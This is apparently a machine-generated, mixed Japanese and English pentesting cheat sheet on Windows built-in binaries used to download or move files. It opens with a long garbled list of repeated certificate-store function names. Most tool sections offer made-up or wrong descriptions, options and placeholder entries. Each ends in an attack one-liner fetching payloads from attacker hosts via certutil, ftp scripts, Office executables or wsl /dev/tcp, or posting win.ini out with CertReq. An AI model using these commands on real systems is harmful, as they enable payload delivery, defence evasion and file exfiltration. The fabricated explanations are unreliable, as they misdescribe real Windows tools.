  • -PolicyServerGetDCCertStoreRootStoreRootStoreType - Gets the policy server domain controller certificate store root store root store type.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreType - Sets the policy server domain controller certificate store root store root store type.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreFlags - Gets the policy server domain controller certificate store root store root store flags.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreFlags - Sets the policy server domain controller certificate store root store root store flags.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRoot - Gets the policy server domain controller certificate store root store root store root.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRoot - Sets the policy server domain controller certificate store root store root store root.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootLocation - Gets the policy server domain controller certificate store root store root store root location.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootLocation - Sets the policy server domain controller certificate store root store root store root location.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootName - Gets the policy server domain controller certificate store root store root store root name.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootName - Sets the policy server domain controller certificate store root store root store root name.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootType - Gets the policy server domain controller certificate store root store root store root type.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootType - Sets the policy server domain controller certificate store root store root store root type.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootFlags - Gets the policy server domain controller certificate store root store root store root flags.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootFlags - Sets the policy server domain controller certificate store root store root store root flags.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootHash - Gets the policy server domain controller certificate store root store root store root hash.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootHash - Sets the policy server domain controller certificate store root store root store root hash.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStore - Gets the policy server domain controller certificate store root store root store root store.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStore - Sets the policy server domain controller certificate store root store root store root store.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreLocation - Gets the policy server domain controller certificate store root store root store root store location.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreLocation - Sets the policy server domain controller certificate store root store root store root store location.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreName - Gets the policy server domain controller certificate store root store root store root store name.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreName - Sets the policy server domain controller certificate store root store root store root store name.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreType - Gets the policy server domain controller certificate store root store root store root store type.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreType - Sets the policy server domain controller certificate store root store root store root store type.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreFlags - Gets the policy server domain controller certificate store root store root store root store flags.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreFlags - Sets the policy server domain controller certificate store root store root store root store flags.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRoot - Gets the policy server domain controller certificate store root store root store root store root.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRoot - Sets the policy server domain controller certificate store root store root store root store root.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootLocation - Gets the policy server domain controller certificate store root store root store root store root location.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootLocation - Sets the policy server domain controller certificate store root store root store root store root location.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootName - Gets the policy server domain controller certificate store root store root store root store root name.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootName - Sets the policy server domain controller certificate store root store root store root store root name.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootType - Gets the policy server domain controller certificate store root store root store root store root type.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootType - Sets the policy server domain controller certificate store root store root store root store root type.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootFlags - Gets the policy server domain controller certificate store root store root store root store root flags.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootFlags - Sets the policy server domain controller certificate store root store root store root store root flags.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootHash - Gets the policy server domain controller certificate store root store root store root store root hash.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootHash - Sets the policy server domain controller certificate store root store root store root store root hash.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStore - Gets the policy server domain controller certificate store root store root store root store root store.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStore - Sets the policy server domain controller certificate store root store root store root store root store.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreLocation - Gets the policy server domain controller certificate store root store root store root store root store location.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreLocation - Sets the policy server domain controller certificate store root store root store root store root store location.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreName - Gets the policy server domain controller certificate store root store root store root store root store name.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreName - Sets the policy server domain controller certificate store root store root store root store root store name.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreType - Gets the policy server domain controller certificate store root store root store root store root store type.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreType - Sets the policy server domain controller certificate store root store root store root store root store type.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreFlags - Gets the policy server domain controller certificate store root store root store root store root store flags.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreFlags - Sets the policy server domain controller certificate store root store root store root store root store flags.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRoot - Gets the policy server domain controller certificate store root store root store root store root store root.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRoot - Sets the policy server domain controller certificate store root store root store root store root store root.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootLocation - Gets the policy server domain controller certificate store root store root store root store root store root location.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootLocation - Sets the policy server domain controller certificate store root store root store root store root store root location.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootName - Gets the policy server domain controller certificate store root store root store root store root store root name.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootName - Sets the policy server domain controller certificate store root store root store root store root store root name.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootType - Gets the policy server domain controller certificate store root store root store root store root store root type.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootType - Sets the policy server domain controller certificate store root store root store root store root store root type.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootFlags - Gets the policy server domain controller certificate store root store root store root store root store root flags.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootFlags - Sets the policy server domain controller certificate store root store root store root store root store root flags.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootHash - Gets the policy server domain controller certificate store root store root store root store root store root hash.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootHash - Sets the policy server domain controller certificate store root store root store root store root store root hash.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootStore - Gets the policy server domain controller certificate store root store root store
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Certutil.exe

Certutil.exeは、Windowsオペレーティングシステムに組み込まれているコマンドラインツールであり、証明書の操作や管理に使用されます。以下に、Certutil.exeの一般的な使用方法と一部の便利なオプションを示します。

証明書の表示

証明書の詳細情報を表示するには、次のコマンドを使用します。

certutil -dump <証明書ファイル>

証明書のエクスポート

証明書をエクスポートするには、次のコマンドを使用します。

certutil -exportPFX <証明書名> <PFXファイル>

証明書のインポート

証明書をインポートするには、次のコマンドを使用します。

certutil -importPFX <PFXファイル>

証明書の削除

証明書を削除するには、次のコマンドを使用します。

certutil -delstore <ストア名> <証明書のシリアル番号>

証明書の検証

証明書の検証を行うには、次のコマンドを使用します。

certutil -verify <証明書ファイル>

証明書のリスト表示

システムにインストールされている証明書のリストを表示するには、次のコマンドを使用します。

certutil -store <ストア名>

Certutil.exeは、証明書の操作や管理に便利なツールです。これらのコマンドを使用して、証明書の表示、エクスポート、インポート、削除、検証、およびリスト表示を行うことができます。

certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe

Basic CMD Commands for Pentesters

Introduction

This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in various tasks such as information gathering, privilege escalation, lateral movement, and more.

CMD Commands

1. desktopimgdownldr.exe

  • Description: This command is used to download an image from a remote server to the local machine's desktop.
  • Syntax: desktopimgdownldr.exe <URL>
  • Example: desktopimgdownldr.exe http://example.com/image.jpg

2. command2

  • Description: This command does something.
  • Syntax: command2 <parameter>
  • Example: command2 parameter

3. command3

  • Description: This command does something else.
  • Syntax: command3 <parameter>
  • Example: command3 parameter

Conclusion

These are just a few examples of basic CMD commands that can be useful for pentesters. It is important to note that these commands should be used responsibly and ethically, and only on systems that you have proper authorization to test.

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr

Diantz.exe

Diantz.exe is a command-line tool used for compressing and decompressing files in the Microsoft Cabinet (CAB) format. It is commonly used in Windows environments for packaging and distributing software.

Usage

To compress files using Diantz.exe, use the following command:

diantz.exe -c <source_file> <destination_file>

To decompress files, use the following command:

diantz.exe -d <source_file> <destination_folder>

Examples

Compressing a file:

diantz.exe -c myfile.txt myfile.cab

Decompressing a file:

diantz.exe -d myfile.cab C:\destination_folder

Additional Options

Diantz.exe also provides additional options for advanced usage. Some of the commonly used options include:

  • -p: Specifies the compression level (0-9, with 0 being no compression and 9 being maximum compression).
  • -r: Recursively compresses or decompresses files in a folder.
  • -s: Displays the status of the compression or decompression process.

For more information about Diantz.exe and its options, refer to the official Microsoft documentation.

diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab

Esentutl.exe

Esentutl.exeは、Windowsオペレーティングシステムに組み込まれているユーティリティです。このツールは、Extensible Storage Engine (ESE) データベースエンジンを操作するために使用されます。ESEは、Windowsの内部で使用されるデータベースエンジンであり、Active DirectoryデータベースやWindows Updateのデータベースなど、さまざまなシステムで使用されています。

Esentutl.exeは、ESEデータベースのバックアップ、復元、修復、およびパフォーマンスの問題のトラブルシューティングに使用されます。以下に、Esentutl.exeの一般的な使用法を示します。

バックアップの作成

esentutl /y <データベースファイルパス> /d <バックアップファイルパス>

このコマンドは、指定したデータベースファイルのバックアップを作成します。バックアップファイルは、指定したパスに保存されます。

データベースの復元

esentutl /r <バックアップファイルパス> /d <復元先データベースファイルパス>

このコマンドは、指定したバックアップファイルからデータベースを復元します。復元先データベースファイルは、指定したパスに作成されます。

データベースの修復

esentutl /p <データベースファイルパス>

このコマンドは、指定したデータベースファイルを修復します。修復は、データベースの整合性を確保するために行われます。

パフォーマンスの問題のトラブルシューティング

esentutl /g <データベースファイルパス>

このコマンドは、指定したデータベースファイルのパフォーマンスの問題をトラブルシューティングします。データベースの整合性をチェックし、問題を特定します。

Esentutl.exeは、Windowsの内部で使用される強力なツールですが、誤った使用はデータの損失やシステムの不安定性を引き起こす可能性があるため、注意が必要です。正確な知識と慎重な操作が必要です。

esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o

Expand.exe

Expand.exeは、Windowsのコマンドラインツールであり、圧縮ファイルを展開するために使用されます。主に.cabファイルを展開するために使用されます。

使用法

以下は、Expand.exeの基本的な使用法です。

expand <source> <destination>
  • <source>: 展開するファイルのパスまたはURL。
  • <destination>: 展開先のディレクトリのパス。

expand C:\archive.cab C:\extracted

上記の例では、C:\archive.cabにある.cabファイルをC:\extractedディレクトリに展開します。

注意事項

  • Expand.exeは、Windowsの標準機能として提供されているため、追加のインストールは不要です。
  • Expand.exeは、管理者権限が必要な場合があります。
expand \\webdav\folder\file.bat c:\ADS\file.bat

Extrac32.exe

Extrac32.exeは、Windowsの標準的なコマンドラインツールであり、圧縮ファイルを解凍するために使用されます。このツールは、Windows 95およびWindows NT 4.0以降のバージョンで利用可能です。

使用法

以下のコマンドを使用して、Extrac32.exeを実行します。

Extrac32.exe [/Y] [/C] [/L] [/Q] [/T:パス] [/D] [/E] [/S:パス] [/A] [/I] [/X] [/F:ファイル] [/R] [/V] [/Z] [/O] [/P] [/U] [/W:パス] [/B] [/G] [/H] [/J] [/K] [/M] [/N] [/Q] [/R] [/S] [/T] [/U] [/V] [/W] [/X] [/Y] [/Z] 圧縮ファイル

パラメータ

  • /Y: ファイルの上書きを許可します。
  • /C: 圧縮ファイルを指定したディレクトリに解凍します。
  • /L: 解凍先のディレクトリを指定します。
  • /Q: 出力を非表示にします。
  • /T:パス: 一時ファイルを指定したディレクトリに展開します。
  • /D: ディレクトリを作成します。
  • /E: ディレクトリ構造を保持して解凍します。
  • /S:パス: 圧縮ファイル内のファイルを指定したディレクトリに展開します。
  • /A: 属性を保持して解凍します。
  • /I: ファイルの上書きを確認します。
  • /X: ファイルの展開をキャンセルします。
  • /F:ファイル: 圧縮ファイルを指定します。
  • /R: サブディレクトリ内のファイルも解凍します。
  • /V: ファイルの完全性を検証します。
  • /Z: 圧縮ファイルを削除します。
  • /O: 解凍時に上書きを許可します。
  • /P: パスワードを指定します。
  • /U: ユーザー名を指定します。
  • /W:パス: 解凍先のディレクトリを指定します。
  • /B: バックアップを作成します。
  • /G: グループを保持して解凍します。
  • /H: 隠しファイルも解凍します。
  • /J: ジャンクションも解凍します。
  • /K: シンボリックリンクも解凍します。
  • /M: ファイルのセキュリティを保持して解凍します。
  • /N: 短いファイル名を使用して解凍します。
  • /Q: 出力を非表示にします。
  • /R: サブディレクトリ内のファイルも解凍します。
  • /S: サブディレクトリも解凍します。
  • /T: 一時ファイルを指定したディレクトリに展開します。
  • /U: ユーザー名を指定します。
  • /V: ファイルの完全性を検証します。
  • /W: 解凍先のディレクトリを指定します。
  • /X: ファイルの展開をキャンセルします。
  • /Y: ファイルの上書きを許可します。
  • /Z: 圧縮ファイルを削除します。

以下は、Extrac32.exeの使用例です。

Extrac32.exe /Y /C /F:C:\archive.zip /L:C:\extracted

この例では、C:\archive.zipという名前の圧縮ファイルをC:\extractedディレクトリに解凍します。ファイルの上書きを許可し、圧縮ファイルを削除します。

extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt

Findstr.exe

findstr.exeは、Windowsコマンドラインツールであり、テキストファイル内で指定した文字列を検索するために使用されます。このツールは、ペンテスターやセキュリティアナリストにとって非常に便利です。

使用法

以下は、findstr.exeの基本的な使用法です。

findstr /C:"search_string" file.txt
  • /C:"search_string": 検索する文字列を指定します。
  • file.txt: 検索対象のテキストファイルを指定します。

オプション

findstr.exeには、さまざまなオプションがあります。以下にいくつかの一般的なオプションを示します。

  • /I: 大文字と小文字を区別しないで検索します。
  • /S: サブディレクトリ内のファイルも検索します。
  • /R: 正規表現を使用して検索します。
  • /V: 指定した文字列を含まない行を表示します。

以下は、findstr.exeの使用例です。

findstr /C:"password" file.txt

このコマンドは、file.txt内で「password」という文字列を検索します。

findstr /C:"password" /I /S *.txt

このコマンドは、カレントディレクトリとそのサブディレクトリ内のすべての.txtファイルで、大文字と小文字を区別せずに「password」という文字列を検索します。

findstr /R "^[A-Za-z]{5}$" file.txt

このコマンドは、file.txt内で、5文字の英字のみを含む行を正規表現を使用して検索します。

まとめ

findstr.exeは、Windowsコマンドライン上でテキストファイル内の文字列を検索するための強力なツールです。様々なオプションを使用することで、より高度な検索が可能となります。ペンテスターやセキュリティアナリストは、このツールを使用して潜在的な脆弱性やセキュリティ上の問題を特定することができます。

findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe

Ftp.exe

ftp.exe is a command-line utility in Windows that allows users to transfer files to and from a remote computer using the File Transfer Protocol (FTP). It is a built-in tool that comes with the Windows operating system.

Syntax

The basic syntax for using ftp.exe is as follows:

ftp [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host]

Options

Here are some commonly used options with ftp.exe:

  • -v: Enables verbose mode, which displays detailed information about the FTP connection and file transfers.
  • -d: Enables debugging mode, which provides additional information for troubleshooting purposes.
  • -i: Disables interactive mode, which suppresses prompts for user confirmation during file transfers.
  • -n: Suppresses the auto-login feature, which allows users to manually log in to the FTP server.
  • -g: Disables filename globbing, which prevents wildcard characters from being expanded in file names.
  • -s:filename: Specifies a text file containing FTP commands to be executed automatically.
  • -a: Uses ASCII mode for file transfers, which is suitable for transferring text-based files.
  • -w:windowsize: Specifies the size of the receive window for data transfers.
  • -A: Enables anonymous FTP login, allowing users to log in without providing a username or password.

Examples

Here are some examples of how to use ftp.exe:

  • To connect to an FTP server:

    ftp example.com
    
  • To upload a file to an FTP server:

    put filename
    
  • To download a file from an FTP server:

    get filename
    
  • To navigate to a specific directory on the FTP server:

    cd directory
    
  • To list the files and directories on the FTP server:

    ls
    
  • To disconnect from the FTP server:

    bye
    

Conclusion

ftp.exe is a powerful command-line tool for transferring files to and from remote FTP servers. By understanding its syntax and options, you can effectively use it for various file transfer operations.

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

GfxDownloadWrapper.exe

C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"

Hh.exe

hh.exe is a Windows executable that is used to launch the Windows Help and Support Center. It is commonly found in the C:\Windows directory.

Usage

To launch the Help and Support Center using hh.exe, open a command prompt and run the following command:

hh.exe helpctr

This will open the Help and Support Center window, where you can search for help topics and access various Windows support resources.

Command-Line Options

hh.exe supports several command-line options that can be used to customize its behavior. Here are some commonly used options:

  • /mapid <id>: Opens the Help and Support Center to the specified help topic ID.
  • /url <url>: Opens the specified URL in the Help and Support Center.
  • /find <text>: Searches for the specified text in the Help and Support Center.
  • /index <file>: Opens the specified index file in the Help and Support Center.

For example, to open the Help and Support Center to a specific help topic ID, you can use the following command:

hh.exe helpctr /mapid 123456

Summary

hh.exe is a useful tool for launching the Windows Help and Support Center from the command line. It provides various command-line options that allow you to customize its behavior and access specific help topics or URLs.

HH.exe http://some.url/script.ps1

Ieexec.exe

ieexec.exe is a command-line utility that allows you to execute Internet Explorer (IE) processes with specific privileges. It is commonly used by pentesters and hackers to bypass security measures and gain unauthorized access to systems.

Usage

To use ieexec.exe, follow the syntax below:

ieexec.exe [/low | /medium | /high] [/elevate] [/url <URL>] [/file <FILE>] [/args <ARGS>]
  • /low: Executes IE with low integrity level.
  • /medium: Executes IE with medium integrity level (default).
  • /high: Executes IE with high integrity level.
  • /elevate: Executes IE with elevated privileges.
  • /url <URL>: Opens the specified URL in IE.
  • /file <FILE>: Opens the specified file in IE.
  • /args <ARGS>: Passes additional arguments to IE.

Examples

  1. Open a URL in IE with medium integrity level:
ieexec.exe /url https://example.com
  1. Open a file in IE with elevated privileges:
ieexec.exe /elevate /file C:\path\to\file.html
  1. Open a URL in IE with custom arguments:
ieexec.exe /url https://example.com /args "--private"

Note: The use of ieexec.exe for unauthorized access or malicious purposes is illegal and unethical. This information is provided for educational purposes only.

ieexec.exe http://x.x.x.x:8080/bypass.exe

Makecab.exe

Makecab.exeは、Windowsシステムで使用されるユーティリティツールです。このツールは、ファイルを圧縮してキャビネット.cabファイルを作成するために使用されます。キャビネットファイルは、複数のファイルを1つのファイルにまとめることができ、データの圧縮や配布に便利です。

使用法

以下は、Makecab.exeの基本的な使用法です。

makecab [/D <name>=<value>] [/L <dir>] [/V[<level>]] [/A] [/C] [/S] [/F <filespec>]
        [/D <name>=<value>] [/L <dir>] [/V[<level>]] [/A] [/C] [/S] [/F <filespec>]
  • /D <name>=<value>: マクロ変数を定義します。
  • /L <dir>: 出力ファイルのディレクトリを指定します。
  • /V[<level>]: 冗長性のレベルを指定します。
  • /A: 圧縮アルゴリズムを自動的に選択します。
  • /C: 圧縮を無効にします。
  • /S: サブディレクトリ内のファイルも処理します。
  • /F <filespec>: 圧縮するファイルを指定します。

以下は、Makecab.exeの使用例です。

makecab C:\path\to\file.txt C:\path\to\output.cab

この例では、C:\path\to\file.txtC:\path\to\output.cabという名前のキャビネットファイルに圧縮します。

注意事項

  • Makecab.exeは、Windowsシステムにデフォルトでインストールされています。
  • Makecab.exeは、管理者権限が必要な場合があります。
  • Makecab.exeを使用する際は、慎重にファイルの圧縮と解凍を行ってください。
  • Makecab.exeは、悪意のある目的で使用される可能性があるため、適切な権限と許可を持つ場合にのみ使用してください。

これで、Makecab.exeについての基本的な情報を理解しました。このツールを使用してファイルを圧縮する際は、注意して操作してください。

makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab

MpCmdRun.exe

MpCmdRun.exeは、Windows Defenderのコマンドラインユーティリティです。このツールを使用すると、Windows Defenderのスキャンや更新などの操作を実行することができます。

スキャンの実行

以下のコマンドを使用して、MpCmdRun.exeを使用してスキャンを実行します。

MpCmdRun.exe -Scan -ScanType <ScanType> -File <FilePath>
  • <ScanType>: スキャンの種類を指定します。以下のいずれかを使用できます。
    • 0: クイックスキャン
    • 1: 定義済みのスキャン
    • 2: カスタムスキャン
  • <FilePath>: スキャン対象のファイルまたはディレクトリのパスを指定します。

定義の更新

以下のコマンドを使用して、MpCmdRun.exeを使用して定義の更新を実行します。

MpCmdRun.exe -SignatureUpdate

その他の操作

MpCmdRun.exeには、他にもさまざまな操作があります。以下のコマンドを使用して、詳細なヘルプを表示できます。

MpCmdRun.exe -?

これにより、利用可能なオプションやコマンドの一覧が表示されます。

以上がMpCmdRun.exeの基本的な使用方法です。このツールを使用することで、Windows Defenderの操作を効率的に実行することができます。

MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable

Replace.exe

Replace.exe is a command-line tool in Windows that allows you to replace files in a specified directory. It can be useful for various purposes, including replacing system files or modifying configurations.

Syntax

replace.exe <source_file> <destination_file> [/A] [/P] [/R] [/W]
  • <source_file>: Specifies the file to be copied.
  • <destination_file>: Specifies the location and name of the new file.
  • /A: Adds the file attributes of the source file to the destination file.
  • /P: Prompts for confirmation before replacing an existing file.
  • /R: Replaces read-only files.
  • /W: Waits for you to insert a disk before replacing files.

Examples

  1. Replace a file without prompting for confirmation:
replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /P
  1. Replace a file and add the attributes of the source file:
replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /A
  1. Replace a read-only file:
replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /R
  1. Replace a file and wait for disk insertion:
replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /W

Note: replace.exe is a built-in Windows command and is available in most Windows versions.

replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A

Basic CMD for Pentesters

Introduction

This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in gathering information, performing reconnaissance, and executing various tasks on a Windows system.

CMD Commands

1. Tasklist

The tasklist command displays a list of all running processes on the system. This can be useful for identifying any suspicious or malicious processes.

tasklist

2. Netstat

The netstat command displays active network connections, listening ports, and related information. It can help in identifying any unauthorized network connections or open ports.

netstat -ano

3. Ipconfig

The ipconfig command displays the IP configuration of all network interfaces on the system. It can be used to gather information about the network settings of the target system.

ipconfig /all

4. Net

The net command is used for various network-related operations. Some useful subcommands include:

  • net user - Displays information about user accounts on the system.
  • net group - Displays information about user groups on the system.
  • net localgroup - Displays information about local groups on the system.
net user
net group
net localgroup

5. Systeminfo

The systeminfo command displays detailed information about the system, including the operating system version, hardware configuration, and installed software. This can be useful for identifying vulnerabilities or outdated software.

systeminfo

6. Reg

The reg command is used to manage the Windows Registry. Some useful subcommands include:

  • reg query - Displays the values and subkeys of a specified registry key.
  • reg add - Adds a new registry key or value.
  • reg delete - Deletes a registry key or value.
reg query HKLM\Software
reg add HKCU\Software\NewKey
reg delete HKLM\Software\OldKey

7. Taskkill

The taskkill command is used to terminate a running process. It can be useful for stopping any malicious processes or unwanted applications.

taskkill /IM <process_name>.exe /F

Conclusion

These basic CMD commands can be helpful for pentesters during their engagements. However, it is important to note that these commands should be used responsibly and ethically, following all applicable laws and regulations.

Excel.exe http://192.168.1.10/TeamsAddinLoader.dll

Powerpnt.exe

powerpnt.exe is the executable file for Microsoft PowerPoint, a popular presentation software. It is commonly found on Windows operating systems.

Usage

To launch PowerPoint using powerpnt.exe, open a command prompt and type:

powerpnt.exe

This will open the PowerPoint application, allowing you to create, edit, and view presentations.

Command-Line Options

powerpnt.exe supports various command-line options that can be used to perform specific tasks. Here are some commonly used options:

  • /s: Starts PowerPoint in slideshow mode.
  • /n: Starts a new instance of PowerPoint.
  • /f <filename>: Opens the specified file in PowerPoint.
  • /m <macro>: Runs the specified macro when PowerPoint starts.
  • /pt <printername>: Prints the specified presentation to the specified printer.
  • /p <filename>: Prints the specified presentation without opening PowerPoint.

Example

To open a PowerPoint presentation named example.pptx using powerpnt.exe, run the following command:

powerpnt.exe /f example.pptx

This will open the example.pptx file in PowerPoint.

Security Considerations

As with any executable file, it is important to ensure that powerpnt.exe is obtained from a trusted source and is not tampered with. Running executables from untrusted sources can pose security risks to your system.

Additionally, it is recommended to keep your PowerPoint software up to date with the latest security patches to protect against potential vulnerabilities.

Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Squirrel.exe

Squirrel.exe is a command-line tool that allows you to interact with the Squirrel framework. It is commonly used for package management and deployment of applications.

Usage

To use Squirrel.exe, open a command prompt and navigate to the directory where the executable is located. Then, you can run various commands to perform different tasks.

Install

To install an application using Squirrel.exe, use the following command:

Squirrel.exe install <path_to_package>

Replace <path_to_package> with the path to the package file (e.g., C:\path\to\package.nupkg).

Update

To update an installed application, use the following command:

Squirrel.exe update <path_to_package>

Replace <path_to_package> with the path to the updated package file.

Uninstall

To uninstall an application, use the following command:

Squirrel.exe uninstall <app_name>

Replace <app_name> with the name of the application.

Other Commands

Squirrel.exe also provides other commands for managing applications, such as list, releasify, and clean. You can use the --help option with any command to get more information about its usage.

Conclusion

Squirrel.exe is a powerful command-line tool for managing and deploying applications using the Squirrel framework. By familiarizing yourself with its commands, you can streamline the installation, update, and uninstallation processes of your applications.

squirrel.exe --download [url to package]

Update.exe

Update.exe is a common executable file found in Windows operating systems. It is often used to install software updates or patches. However, it can also be used by hackers as a disguise for malicious activities.

Malicious Use

Hackers may create a malicious Update.exe file to trick users into running it. Once executed, the file can perform various malicious actions, such as:

  • Installing malware or spyware on the system
  • Modifying system settings or configurations
  • Stealing sensitive information, such as passwords or credit card details
  • Creating backdoors or remote access points for future attacks

Prevention

To protect your system from malicious Update.exe files, follow these preventive measures:

  1. Verify the source: Only download and install updates from trusted sources, such as official software vendors or reputable websites.

  2. Keep your system up to date: Regularly update your operating system and software to ensure you have the latest security patches and bug fixes.

  3. Use reliable security software: Install and regularly update a reputable antivirus or antimalware program to detect and block malicious files.

  4. Exercise caution: Be cautious when downloading and running executable files, especially if they are received from unknown or suspicious sources.

By following these preventive measures, you can reduce the risk of falling victim to malicious Update.exe files and protect your system from potential attacks.

Update.exe --download [url to package]

Winword.exeは、Microsoft Wordの実行可能ファイルです。このファイルは、Windowsオペレーティングシステム上でMicrosoft Wordを起動するために使用されます。Winword.exeは、ユーザーがドキュメントを作成、編集、保存するためのインターフェースを提供します。このファイルは通常、C:\Program Files\Microsoft Office\OfficeXXXXはバージョン番号のディレクトリに存在します。Winword.exeは、マルウェアに悪用される可能性があるため、注意が必要です。正規のWinword.exeファイルを使用することを確認し、不審な動作がないか定期的に監視することが重要です。

winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Wsl.exe

wsl.exe is a command-line tool in Windows that allows you to run Linux distributions on Windows. It stands for Windows Subsystem for Linux. This tool provides a compatibility layer for running Linux binary executables natively on Windows 10 and Windows Server 2019.

To use wsl.exe, open a command prompt or PowerShell window and type wsl. This will launch the default Linux distribution installed on your system. If you have multiple distributions installed, you can specify the distribution name as an argument, for example: wsl -d Ubuntu.

You can also use wsl.exe to run Linux commands directly from the Windows command prompt or PowerShell. For example, to run the ls command in the default Linux distribution, you can type wsl ls.

wsl.exe provides a convenient way for pentesters to leverage Linux tools and utilities while working on a Windows system. It allows you to access the power and flexibility of Linux without the need for a separate virtual machine or dual-boot setup.

Note: wsl.exe requires Windows 10 version 1607 or later, with the Windows Subsystem for Linux feature enabled.

wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

その他

Basic CMD commands for pentesters

ペンテスターのための基本的なCMDコマンド

Here you have a list of basic CMD commands that can be useful during a penetration test.

以下に、ペネトレーションテスト中に役立つ基本的なCMDコマンドのリストがあります。

System Information

システム情報

  • systeminfo: Displays detailed configuration information about a computer and its operating system.

  • systeminfo: コンピューターとそのオペレーティングシステムに関する詳細な構成情報を表示します。

  • hostname: Displays the name of the current host.

  • hostname: 現在のホストの名前を表示します。

  • ipconfig: Displays the IP configuration for all network interfaces.

  • ipconfig: すべてのネットワークインターフェースのIP構成を表示します。

  • netstat: Displays active network connections and listening ports.

  • netstat: アクティブなネットワーク接続とリッスンポートを表示します。

  • tasklist: Displays a list of currently running processes.

